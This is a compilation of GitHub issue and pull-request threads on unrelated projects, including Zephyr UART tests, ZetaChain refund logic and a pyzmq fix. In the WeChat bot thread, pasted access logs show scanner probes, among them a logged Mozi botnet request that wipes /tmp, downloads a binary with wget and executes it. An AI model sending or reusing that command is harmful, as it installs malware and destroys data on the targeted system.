2024-09-25 03:03:40,940 - twister - DEBUG - DEVICE: TESTSUITE uart_async_read_abort succeeded
2024-09-25 03:03:40,944 - twister - DEBUG - DEVICE: Running TESTSUITE uart_async_single_read
2024-09-25 03:03:40,949 - twister - DEBUG - DEVICE: ===================================================================
2024-09-25 03:03:40,953 - twister - DEBUG - DEVICE: E: No buffers to release from RX DMA!
2024-09-25 03:03:40,955 - twister - DEBUG - DEVICE: START - test_single_read
2024-09-25 03:03:41,310 - twister - DEBUG - DEVICE: PASS - test_single_read in 0.352 seconds
2024-09-25 03:03:41,316 - twister - DEBUG - DEVICE: ===================================================================
2024-09-25 03:03:41,320 - twister - DEBUG - DEVICE: TESTSUITE uart_async_single_read succeeded
2024-09-25 03:03:41,323 - twister - DEBUG - DEVICE: Running TESTSUITE uart_async_timeout
2024-09-25 03:03:41,329 - twister - DEBUG - DEVICE: ===================================================================
2024-09-25 03:03:41,332 - twister - DEBUG - DEVICE: E: No buffers to release from RX DMA!
2024-09-25 03:03:41,335 - twister - DEBUG - DEVICE: START - test_forever_timeout
2024-09-25 03:03:43,347 - twister - DEBUG - DEVICE: E: No buffers to release from RX DMA!
2024-09-25 03:03:44,339 - twister - DEBUG - DEVICE: E: No buffers to release from RX DMA!
2024-09-25 03:03:44,343 - twister - DEBUG - DEVICE: PASS - test_forever_timeout in 3.004 seconds
2024-09-25 03:03:44,349 - twister - DEBUG - DEVICE: ===================================================================
2024-09-25 03:03:44,352 - twister - DEBUG - DEVICE: TESTSUITE uart_async_timeout succeeded
2024-09-25 03:03:44,356 - twister - DEBUG - DEVICE: Running TESTSUITE uart_async_write_abort
2024-09-25 03:03:44,362 - twister - DEBUG - DEVICE: ===================================================================
2024-09-25 03:03:44,365 - twister - DEBUG - DEVICE: E: No buffers to release from RX DMA!
2024-09-25 03:03:44,368 - twister - DEBUG - DEVICE: START - test_write_abort
2024-09-25 03:03:44,472 - twister - DEBUG - DEVICE: PASS - test_write_abort in 0.102 seconds
2024-09-25 03:03:44,478 - twister - DEBUG - DEVICE: ===================================================================
2024-09-25 03:03:44,482 - twister - DEBUG - DEVICE: TESTSUITE uart_async_write_abort succeeded
2024-09-25 03:03:44,486 - twister - DEBUG - DEVICE: ------ TESTSUITE SUMMARY START ------
2024-09-25 03:03:44,496 - twister - DEBUG - DEVICE: SUITE PASS - 100.00% [uart_async_chain_read]: pass = 1, fail = 0, skip = 0, total = 1 duration = 0.426 seconds
2024-09-25 03:03:44,502 - twister - DEBUG - DEVICE: - PASS - [uart_async_chain_read.test_chained_read] duration = 0.426 seconds
2024-09-25 03:03:44,512 - twister - DEBUG - DEVICE: SUITE PASS - 100.00% [uart_async_chain_write]: pass = 1, fail = 0, skip = 0, total = 1 duration = 0.009 seconds
2024-09-25 03:03:44,519 - twister - DEBUG - DEVICE: - PASS - [uart_async_chain_write.test_chained_write] duration = 0.009 seconds
2024-09-25 03:03:44,529 - twister - DEBUG - DEVICE: SUITE PASS - 100.00% [uart_async_double_buf]: pass = 1, fail = 0, skip = 0, total = 1 duration = 3.403 seconds
2024-09-25 03:03:44,536 - twister - DEBUG - DEVICE: - PASS - [uart_async_double_buf.test_double_buffer] duration = 3.403 seconds
2024-09-25 03:03:44,546 - twister - DEBUG - DEVICE: SUITE PASS - 100.00% [uart_async_long_buf]: pass = 1, fail = 0, skip = 0, total = 1 duration = 0.162 seconds
2024-09-25 03:03:44,552 - twister - DEBUG - DEVICE: - PASS - [uart_async_long_buf.test_long_buffers] duration = 0.162 seconds
2024-09-25 03:03:44,562 - twister - DEBUG - DEVICE: SUITE PASS - 100.00% [uart_async_multi_rx]: pass = 1, fail = 0, skip = 0, total = 1 duration = 0.709 seconds
2024-09-25 03:03:44,569 - twister - DEBUG - DEVICE: - PASS - [uart_async_multi_rx.test_multiple_rx_enable] duration = 0.709 seconds
2024-09-25 03:03:44,579 - twister - DEBUG - DEVICE: SUITE PASS - 100.00% [uart_async_read_abort]: pass = 1, fail = 0, skip = 0, total = 1 duration = 1.120 seconds
2024-09-25 03:03:44,586 - twister - DEBUG - DEVICE: - PASS - [uart_async_read_abort.test_read_abort] duration = 1.120 seconds
2024-09-25 03:03:44,596 - twister - DEBUG - DEVICE: SUITE PASS - 100.00% [uart_async_single_read]: pass = 1, fail = 0, skip = 0, total = 1 duration = 0.352 seconds
2024-09-25 03:03:44,603 - twister - DEBUG - DEVICE: - PASS - [uart_async_single_read.test_single_read] duration = 0.352 seconds
2024-09-25 03:03:44,612 - twister - DEBUG - DEVICE: SUITE PASS - 100.00% [uart_async_timeout]: pass = 1, fail = 0, skip = 0, total = 1 duration = 3.004 seconds
2024-09-25 03:03:44,619 - twister - DEBUG - DEVICE: - PASS - [uart_async_timeout.test_forever_timeout] duration = 3.004 seconds
2024-09-25 03:03:44,629 - twister - DEBUG - DEVICE: SUITE PASS - 100.00% [uart_async_write_abort]: pass = 1, fail = 0, skip = 0, total = 1 duration = 0.102 seconds
2024-09-25 03:03:44,636 - twister - DEBUG - DEVICE: - PASS - [uart_async_write_abort.test_write_abort] duration = 0.102 seconds
2024-09-25 03:03:44,639 - twister - DEBUG - DEVICE: ------ TESTSUITE SUMMARY END ------
2024-09-25 03:03:44,645 - twister - DEBUG - DEVICE: ===================================================================
2024-09-25 03:03:44,649 - twister - DEBUG - DEVICE: RunID: 02c9747a5bbfb924d0ba261679e00679
2024-09-25 03:03:44,651 - twister - DEBUG - DEVICE: PROJECT EXECUTION SUCCESSFUL

this is not related to this fixing PR.  maybe we can work this with a new PR. Thanks

Thank you @hakehuang, I can look into this error message!

authors: EmilioCBen dcpleung decsny hakehuang


text:
manifest: hal_nordic: Pull Wi-Fi doxygen fixes

Fixes found for issues in doxygen build.

As this is manifest only and we have a bunch of PRs lined up to update same manifest, will do an aggregate update, closing this PR for now.


text:
drivers: flash: stm32 ospi: early init exit for memap mode

Exit the init earlier when OSPI is in memory map mode. Avoid unnecessary checks and prevent pin reconfiguration
that might cause line spikes (e.g. when pin config differs between an application and a bootloader). Clock check beforehand is preserved.
Misc: removed \n from the LOG_DBG string.

Compliance checks fail due to " /bin/sh: 1: gitlint: not found".

Compliance checks fail due to " /bin/sh: 1: gitlint: not found".

Due to recent CI change. Please rebase

I rebased and added the same early exit to the xSPI driver.

authors: GeorgeCGV erwango


text:
change isalive to is_alive with paramiko issue shows up

I'm not sure if you can replicate this error or not, but here is the issue on my machine:
Should isalive actually be is_alive (in ssh/tunnel.py line 300)? If we inspect the tunnel object
returned from Paramiko it has property is_alive. if you create a
virtualenv with just paramiko and pyzmq, and then run a basic hello
world client and server included (just run python hwserver.py and then
python hwclient.py you will need to change the ip addresses and ssh
tunnel to your own) we get the error:
Error in atexit._run_exitfuncs:
Traceback (most recent call last):
  File

"/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/
atexit.py", line 24, in _run_exitfuncs
func(*targs, **kargs)
File
"/Users/Tigger/Desktop/testing_pmq/lib/python2.7/site-packages/zmq/ssh/t
unnel.py", line 300, in _shutdown_process
if p.isalive():
AttributeError: 'Process' object has no attribute 'isalive'
This does not happen if we are using OpenSSH and pexpect.

Furthermore making the change does not seem to create any new errors if
a User is using OpenSSH/pexpect instead of paramiko.

Yes, I think this change is correct - the _shutdown_process is only called on Processes, so it won't effect pexpect objects used with OpenSSH.
The hwserver/hwclient files should not be part of the commit, though.

No need for a new PR, if you know how to amend and force push, go for it. Otherwise I will make the change when I merge.
On Nov 14, 2011, at 8:45, Tiggerreply@reply.github.com wrote:

Yes, I just added those files so that you could test out the issue. Should I make another pull request, or do you just want to make the change?

Reply to this email directly or view it on GitHub:
https://github.com/zeromq/pyzmq/pull/157#issuecomment-2732775

sorry, I'm kind of a beginner at this. I made the changes (deleted hwserver.py and hwclient.py) in the latest version of my branch and pushed that to this pull request and to my master fork. I don't think I have permission to force push my branch into yours though?

No worries.
A quick primer:  A Pull Request is associated with a particular branch (in this case, your 'master' branch) - any changes you make to that branch will be reflected in the Pull Request.  The force push (git push -f) is necessary if you want to push destructive changes, e.g. if you do a git commit --amend after having pushed the previous commit, as would be necessary here to replace the existing commit with one that did not include the extra files.
Now, since you have two commits - one adding and one removing the files, if you wanted to turn that into one commit without any reference to the extra files, you would do:

git rebase -i, which opens a file, asking what to do
change the pick on the second commit (6e8850b) to squash, so that it and the previous commit will become one (thus removing any mention of the added/removed files)
git push -f to push the new state of your branch up to GitHub, replacing what was already there.

I'm happy to make these changes as I merge, but if you want to give it a shot, go for it.
Thanks for the fix!

okay cool thanks! I think I got it to work. I also think its awesome that ssh tunnel is included in pyzmq!

authors: a-wild-tigger minrk

repo: zeromq/pyzmq


text:
Create a guide on sending ZetaChain-compatible Bitcoin transactions programmatically using the OKX extension wallet

Example: https://gist.github.com/fadeev/5427683a991a5723fbace3ef6e775b85
For reference: https://www.zetachain.com/docs/developers/tutorials/bitcoin/
Related: https://github.com/zeta-chain/docs/issues/339

@lukema95 let me know if you want to take this issue!

repo: zeta-chain/docs

license: MIT


text:
Refund user on ZetaChain when a CCTX is aborted

We currently have this logic when ERC20 cctx can't be reverted (because of non-existing pool for getting gas):
https://github.com/zeta-chain/node/blob/develop/x/crosschain/keeper/keeper_cross_chain_tx_vote_inbound_tx.go#L182
This logic could be generalized for all CCTX types (where the sender address can be compatible) in the idea where we consider that a aborted CCTX is "stuck" on ZetaChain with an amount that can't be recovered.

one idea is to introduce a "stuck" terminal state of CCTX,
and deposit user fund into ZRC20 instead (credit context.origin). (this only works for EVM chains, need to think about BTC case)
They can claim refund by going to zetachain ZRC20 contract for withdraw.

one idea is to introduce a "stuck" terminal state of CCTX, and deposit user fund into ZRC20 instead (credit context.origin). (this only works for EVM chains, need to think about BTC case) They can claim refund by going to zetachain ZRC20 contract for withdraw.

What would be the difference between stuck and the aborted status we currently have?

We currently have this logic when ERC20 cctx can't be reverted (because of non-existing pool for getting gas): https://github.com/zeta-chain/node/blob/develop/x/crosschain/keeper/keeper_cross_chain_tx_vote_inbound_tx.go#L182
This logic could be generalized for all CCTX types (where the sender address can be compatible) in the idea where we consider that a aborted CCTX is "stuck" on ZetaChain with an amount that can't be recovered.

Is the link of codes changed? Do you mean the codes below?
https://github.com/zeta-chain/node/blob/6567637545769a01a8406fd8fc9ad4427b7cb725/x/crosschain/keeper/keeper_cross_chain_tx_vote_inbound_tx.go#L193-#L200

one idea is to introduce a "stuck" terminal state of CCTX, and deposit user fund into ZRC20 instead (credit context.origin). (this only works for EVM chains, need to think about BTC case) They can claim refund by going to zetachain ZRC20 contract for withdraw.

What would be the difference between stuck and the aborted status we currently have?

Can we think that abort means that the transaction handled the exception normally, for example, the transaction failed but the refund operation was performed correctly, while stuck means that the transaction failed to handle the exception correctly, for example, the refund failed to the user, resulting in The refund steps are not completed.

As discussed: let's work on a MsgRefundAbortedCCTX message @kingpinXD

@lumtis @brewmaster012
Decided to replace Aborted with two states Aborted_Refundable and Aborted_Non_Refundable . The MsgRefundAbortedCCTX can only refund the Aborted_Refundable states.
We now need to differentiate between which one we can refund and which we cant
Here is a draft list of refundable abort

InBoundTX EVM deposit and coin type ZETA
InBoundTX Crosschain Swap  returns error in PayGasAndUpdateCctx or UpdateNonce ( Internal error )
OutBountTX Revert Failed
OutBoundTX Error during processing  Internal error

Adding a list of scenarios in which the CCTX can get into a aborted state , so that it would be easier to review my statement above

AbortStuckCCTX Msg called by an admin.
Inbound TX

EVM deposit,

Internal error,
The contract call was reverted, and the sender chain was unable to be fetched.
Contract call reverted, unable to fetch senderChain gas limit.
Unable to set revert CCTX, ( tries to refund on zeta chain if coin type is ERC20 )

Crosschain swap returns error in PayGasAndUpdateCctx or UpdateNonce ( Internal error )

Outbound Tx

Coin type CMD
The sender chain is  zeta chain
Revert Failed
Error during processing  Internal error

Is there a single scenario where an aborted CCTX could not be refundable? I would prefer to keep it simple at first

repo: zeta-chain/node


text:
是不是手机端就不用单独开发了，完全兼容，能不能给个发布的官方步骤

版本号：
问题描述：
截图&代码：

平台UI支持自适应，支持手机、pad效果
正常web项目发布，通过连接访问就可以

authors: tyjohn zhangdaiscott

repo: zhangdaiscott/jeecg-boot

license_source: bigquery


text:
安装依赖报错

详细描述你的问题
我在使用nestjs-react-ssr和nestjs-react18-ssr两个脚手架中开发的时候，安装了一个依赖包@uiw/react-md-editor（安装Monaco的时候也是这样）时报错。由于一些要求我无法上传源码，但是复现非常好复现，只需要正常安装Monaco（或者那个包）都可以复现，在client打包的时候出错。我修改了服务端的配置，使用了csr的模式，所以只是client端的打包。据我观测，主要是两种错误：

存在依赖包，但是提示不存在，这个不知道是不是esm的问题，我不确定

node_modules里面的esm文件夹下的代码，部分语法解析不了，比如 ?? 或者其他版本较高的es语法

但是，我在使用其他脚手架的时候都可以正确下载并加载使用，我排查了半天，暂时还没搞懂为什么，也希望你可以告诉我一下原因。
期望的结果
第一个问题我没搞懂原因到底是为什么导致出错。
第二个问题是node_modules里面的代码语法版本过高，我难道需要再使用babel对该包进行编译吗？
当前使用的版本
环境描述：
nodejs：v20
脚手架：nestjs-react-ssr或者nestjs-react18-ssr
出错依赖包：@uiw/react-md-editor ，v4.0.4
复现仓库地址
无
你本人对问题可能的原因判断(如果你能大概判断的话)

https://github.com/webpack/webpack/issues/9509
webpack4不支持识别 exports字段，可以换一个库

authors: GodLyons zhangyuang

repo: zhangyuang/ssr


text:
🛑 ZY is down

In c56c83c, ZY (https://ziyuan.baidu.com) was down:

HTTP code: 0
Response time: 0 ms

Resolved: ZY is back up in b192367.

repo: zhaodylan/uptime-ziyuan


text:
Feature/mTLS - Openssl

add client mTLS support - OpenSSL
This enables more secure device connection
Certificate and key is stored in PEM format, files are specified by -k/-c variables in CLI
This requires mTLS support in rttys

Thank you for your PR. Can you support for mbedtls?

Hi, I will test it in my BSP. Should I create new PR?

Hi, I will test it in my BSP. Should I create new PR?

Yeah.


text:
微信公众号发出消息后一直提示正在思考中，报错code 400

报错如下
[INFO][2023-03-19 21:36:53][wechat_mp_service_channel.py:13] - [WX_Public] receive public msg: 你好, userId: oS7-w6inv2BYPn2dRey_4Hs0k_Ec 81.69.103.236 - - [19/Mar/2023 21:36:53] "POST /?signature=36c019f67580dfa7493e6634a1a8e4d47e0916f1&timestamp=1679233013&nonce=331786736&openid=oS7-w6inv2BYPn2dRey_4Hs0k_Ec HTTP/1.1" 200 291 [INFO][2023-03-19 21:37:18][wechat_mp_service_channel.py:13] - [WX_Public] receive public msg: 你好, userId: oS7-w6inv2BYPn2dRey_4Hs0k_Ec 81.69.103.205 - - [19/Mar/2023 21:37:18] "POST /?signature=69e82893b403089e8ba082ba9d825fe2885714d9&timestamp=1679233038&nonce=1084136415&openid=oS7-w6inv2BYPn2dRey_4Hs0k_Ec HTTP/1.1" 200 291 8.222.203.92 - - [19/Mar/2023 22:03:41] code 400, message Bad request syntax ('\\x04\\x01\\x00Pg)§ê\\x00') 8.222.203.92 - - [19/Mar/2023 22:03:41] "\x04\x01\x00Pg)§ê\x00" 400 - 8.222.203.92 - - [19/Mar/2023 22:03:48] "GET http://passport.baidu.com/ HTTP/1.1" 403 2014 8.222.203.92 - - [19/Mar/2023 22:04:18] code 400, message Bad request syntax ('\\x05\\x01\\x00') 8.222.203.92 - - [19/Mar/2023 22:04:18] "\x05\x01\x00" 400 - 193.32.162.159 - - [19/Mar/2023 22:33:43] "GET / HTTP/1.1" 403 1979 45.33.80.243 - - [19/Mar/2023 22:35:50] code 400, message Bad request version ('À\\x14À') 45.33.80.243 - - [19/Mar/2023 22:35:50] "\x16\x03\x01\x00\x85\x01\x00\x00\x81\x03\x03c\x82T!\x18\x96\x16µ\x7fÐ!ô\x8f{hoÂ\x96#\x02é]s+\x9e\x983\x15Ó¿®\x1a\x00\x00 À/À0À+À,Ì¨Ì©À\x13À\x09À\x14À" 400 -

你使用的model是哪个

193.32.162.159 - - [23/Mar/2023 06:41:23] "GET / HTTP/1.1" 403 1977
109.237.98.226 - - [23/Mar/2023 06:55:38] "GET /.env HTTP/1.1" 403 1981
109.237.98.226 - - [23/Mar/2023 06:55:38] code 400, message Bad request version ('\x00b\x13\x02\x13\x03\x13\x01À,À0À+À/Ì©Ì¨\x00£\x00\x9f\x00¢\x00\x9eÌªÀ¯À\xadÀ$À(À')
109.237.98.226 - - [23/Mar/2023 06:55:38] "\x16\x03\x01\x01H\x01\x00\x01D\x03\x03´\x1e®\x13.\x9cQ#÷g\x84\x04ÝÓ\x86ßR\x1eÃ½1Ùpî ØY0$\x00\x14/ êt!Î\x82uâª\x12\x9aN¼\x90à¡\x1aP\x7f\x85\x90¢Ì2Qc»ÎÙ°³\x09\x00b\x13\x02\x13\x03\x13\x01À,À0À+À/Ì©Ì¨\x00£\x00\x9f\x00¢\x00\x9eÌªÀ¯ÀÀ$À(À" 400 -
90.151.171.108 - - [23/Mar/2023 07:00:39] "CONNECT v4.ident.me:443 HTTP/1.1" 405 751
90.151.171.108 - - [23/Mar/2023 07:00:49] code 400, message Bad HTTP/0.9 request type ('\x04\x01\x00P1')
90.151.171.108 - - [23/Mar/2023 07:00:49] "\x04\x01\x00P1\x0cê·0\x00" 400 -
90.151.171.108 - - [23/Mar/2023 07:00:49] "GET http://v4.ident.me?Z77056641370Q1 HTTP/1.1" 403 2011
90.151.171.108 - - [23/Mar/2023 07:00:59] code 400, message Bad request syntax ('\x05\x01\x00')
90.151.171.108 - - [23/Mar/2023 07:00:59] "\x05\x01\x00" 400 -
79.12.209.92 - - [23/Mar/2023 07:28:07] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 403 2072
类似问题，连接对话一切正常，时不时出现这些报错，甚至不是出现在对话过程中。这是得到浏览器的什么请求没正确处理？
订阅号，GPT-3.5。

查了一下这些IP，有很多滥用报告，应该是80端口被扫了🙃

authors: QxLuba oreeke zhayujie

repo: zhayujie/bot-on-anything


text:
Improve table show

fixed table header，scroll body.

Improve node table loading such as add loading tips to for more user-friendly.

repo: zhazh/pubit


text:
Adapt server to support close and run forever

This commit adapts the capnp server class to support the close method and run forever method. The close method is used to stop a running server safely. Since Python does not gurantee that the destructor is called it is recommended to manage the livetime by one self. The run forever method is a simple helper function that is often usefull if a server is running in the main thread.

Codecov Report
Attention: Patch coverage is 27.27273% with 24 lines in your changes missing coverage. Please review.

Project coverage is 94.26%. Comparing base (a7f73f8) to head (afc5769).
Report is 1 commits behind head on main.

Files
Patch %
Lines

src/labone/server/server.py
22.58%
24 Missing :warning:

Additional details and impacted files
@@            Coverage Diff             @@
##             main      #67      +/-   ##
==========================================
- Coverage   95.81%   94.26%   -1.56%
==========================================
  Files          26       26
  Lines        1433     1464      +31
  Branches      230      235       +5
==========================================
+ Hits         1373     1380       +7
- Misses         48       72      +24
  Partials       12       12

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.

authors: codecov-commenter tobiasah

repo: zhinst/labone-python


text:
Does on work on OS X?

As far as I can tell, this package doesn't work on OS X - I tried both using the keyboard shortcut and the menu command, but nothing happens. Let me know if there's additional info I can provide to help with debugging.

Can you try selecting some code first then toggle the command? I am adding some more intuitive features, like if no text is selected then the whole text is considered by default, or like giving some visual feedbacks after command toggle.

It’s working for me now — was just a fluke before I guess.
Thanks for the quick response!
Robert Crooks Director of Learning Services Brightcove, Inc
On Tue, May 31, 2016 at 8:19 AM, Jincheng Zhang notifications@github.com wrote:
Can you try selecting some code first then toggle the command? I am adding some more intuitive features, like if no text is selected then the whole text is considered by default, or like giving some visual feedbacks after command toggle.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub [https://github.com/zhjch05/atom-code2html/issues/1#issuecomment-222722289] , or mute the thread [https://github.com/notifications/unsubscribe/AAl0YREdJT07DRPNEu2iIyUnsAKHF1Txks5qHFF3gaJpZM4Iqmtg] .

That's great, and I am now closing this issue.

license: mit


text:
🛑 腾讯云 COS 节点 is down

In 2fd59d1, 腾讯云 COS 节点 (https://lisz.ink) was down:

HTTP code: 0
Response time: 0 ms

Resolved: 腾讯云 COS 节点 is back up in 5ea062e.

repo: zhonger/upptime


text:
Mobile menu

[ ] This pull request enhances the layout and responsiveness of the website by implementing the following changes:

When the user clicks (or taps) the hamburger button, the mobile menu appears.

When the user clicks (or taps) the close (X) button, the mobile menu disappears.

When the user clicks (or taps) any of the mobile menu options, the mobile menu disappears.

When the user clicks (or taps) any of the mobile menu options, a correct part of the page is displayed.

Ensured adherence to the design provided in the Figma templates, focusing on maintaining consistency with regards to fonts, colors, images, text, and margins.

@joel-kalema Hi, in the dashboard it says required changes. How can I submit the work?

repo: zhorabay/My-portfolio


text:
Feature Request: "Export selected text as image"

Thanks for the great plugin, it works like a charm.
Is there a way add an option to "Export selected text as image"?
Best regards.

I believe this feature is already available. You can select a piece of text, right-click, and see if there is an option in the menu to export the selected content as an image.

OH, it is! Thanks.

authors: dearbojack zhouhua

repo: zhouhua/obsidian-export-image


text:
module compiled with Swift 4.1.2 cannot be imported in Swift 4.0.3

NEkit do not support Swift 4.1.2

What you copied says that you are trying to import module compiled with 4.1.2 to a project using 4.0.3. This usually means you complied NEKit with 4.1.2 which means NEKit supports 4.1.2, and you are using 4.0.3, which is bundled with Xcode 9.2 I think.
Try to compile NEKit with carthage update --no-use-binaries --platform mac,ios, and if it does not compile with 4.0.3, you need to use older version of NEKit or upgrade your Xcode.

authors: MKXiaoyue zhuhaow

repo: zhuhaow/NEKit


text:
Directory not displaying in RX-explorer，一个在内置文件管理器里可以显示的文件夹在RX里找不到

确定该文件夹没有被隐藏，在内置文件管理器里可以正常找到并打开。

但是在RX里找不到该文件夹：

现在只能通过内置的文件管理器找到再通过rx打开

可能被意外添加了正常文件不应该有的属性
标记: System
具备System标记的文件或文件夹RX在默认情况下不会予以显示，因为通常来讲是系统必备文件才会有这种标记。若需要显示该标记的文件，需要前往设置-基本-显示隐藏文件（以及其子选项）中进行调整

可能被意外添加了正常文件不应该有的属性 标记: System 具备System标记的文件或文件夹RX在默认情况下不会予以显示，因为通常来讲是系统必备文件才会有这种标记。若需要显示该标记的文件，需要前往设置-基本-显示隐藏文件（以及其子选项）中进行调整

确实是这个问题，谢谢

可能被意外添加了正常文件不应该有的属性 标记: System 具备System标记的文件或文件夹RX在默认情况下不会予以显示，因为通常来讲是系统必备文件才会有这种标记。若需要显示该标记的文件，需要前往设置-基本-显示隐藏文件（以及其子选项）中进行调整

确实是这个问题，谢谢


text:
Sticker Set related API

https://core.telegram.org/bots/api#stickers

added in 0.5.0

repo: zhyu/nadia


text:
Add binding for GetItemRectSize

Add binding for ImGui's GetItemRectSize function.

Thanks!

authors: glitch-cake hazeycode

repo: zig-gamedev/zig-gamedev